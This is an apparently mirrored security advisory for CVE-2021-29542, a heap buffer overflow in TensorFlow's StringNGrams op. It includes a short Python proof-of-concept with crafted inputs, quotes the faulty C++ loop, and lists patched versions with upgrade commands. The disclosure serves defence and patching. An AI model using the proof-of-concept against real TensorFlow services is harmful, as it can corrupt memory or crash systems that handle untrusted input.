Advisory

GHSA-4hrh-9vmp-2jgg

Also known as: BIT-tensorflow-2021-29542, CVE-2021-29542, PYSEC-2021-179, PYSEC-2021-470, PYSEC-2021-668

Summary

Heap buffer overflow in StringNGrams

Details

Impact
An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams:

import tensorflow as tf

separator = b'\x02\x00'    
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
  
l = ['', '', '', '', '', '', '', '', '', '', '']
  
data = tf.constant(l, shape=[11], dtype=tf.string)
  
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)

out = tf.raw_ops.StringNGrams(data=data,
    data_splits=data_splits, separator=separator,
    ngram_widths=ngram_widths, left_pad=left_pad,
    right_pad=right_pad, pad_width=pad_width,
    preserve_short_sequences=preserve_short_sequences)

This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:

for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
  int pad_width = get_pad_width(ngram_width);
  int left_padding = std::max(0, pad_width - ngram_index);
  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
  int num_tokens = ngram_width - (left_padding + right_padding);
  int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
  ...
  tstring* ngram = &output[ngram_index];
  ngram->reserve(ngram_size);
  for (int n = 0; n < left_padding; ++n) {
    ngram->append(left_pad_);
    ngram->append(separator_);
  }
  for (int n = 0; n < num_tokens - 1; ++n) {
    ngram->append(data[data_start_index + n]);
    ngram->append(separator_);
  }
  ngram->append(data[data_start_index + num_tokens - 1]); // <<<
  for (int n = 0; n < right_padding; ++n) {
    ngram->append(separator_);
    ngram->append(right_pad_);
  }
  ...
}

If input is such that num_tokens is 0, then, for data_start_index=0 (when left padding is present), the marked line would result in reading data[-1].

Patches
We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low Basis: The source's own band: LOW

Dates

Published
2021-05-21 14:23 UTC
Modified
2026-07-08 06:28 UTC

Affected packages and fixes

12 affected packages; all PyPI · All systems
PackageAffectedFix
tensorflowEarlier versionspip install --upgrade tensorflow==2.1.4
tensorflowintroduced 2.2.0, fixed 2.2.3pip install --upgrade tensorflow==2.2.3
tensorflowintroduced 2.3.0, fixed 2.3.3pip install --upgrade tensorflow==2.3.3
tensorflowintroduced 2.4.0, fixed 2.4.2pip install --upgrade tensorflow==2.4.2
tensorflow-cpuEarlier versionspip install --upgrade tensorflow-cpu==2.1.4
tensorflow-cpuintroduced 2.2.0, fixed 2.2.3pip install --upgrade tensorflow-cpu==2.2.3
tensorflow-cpuintroduced 2.3.0, fixed 2.3.3pip install --upgrade tensorflow-cpu==2.3.3
tensorflow-cpuintroduced 2.4.0, fixed 2.4.2pip install --upgrade tensorflow-cpu==2.4.2
tensorflow-gpuEarlier versionspip install --upgrade tensorflow-gpu==2.1.4
tensorflow-gpuintroduced 2.2.0, fixed 2.2.3pip install --upgrade tensorflow-gpu==2.2.3
tensorflow-gpuintroduced 2.3.0, fixed 2.3.3pip install --upgrade tensorflow-gpu==2.3.3
tensorflow-gpuintroduced 2.4.0, fixed 2.4.2pip install --upgrade tensorflow-gpu==2.4.2

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences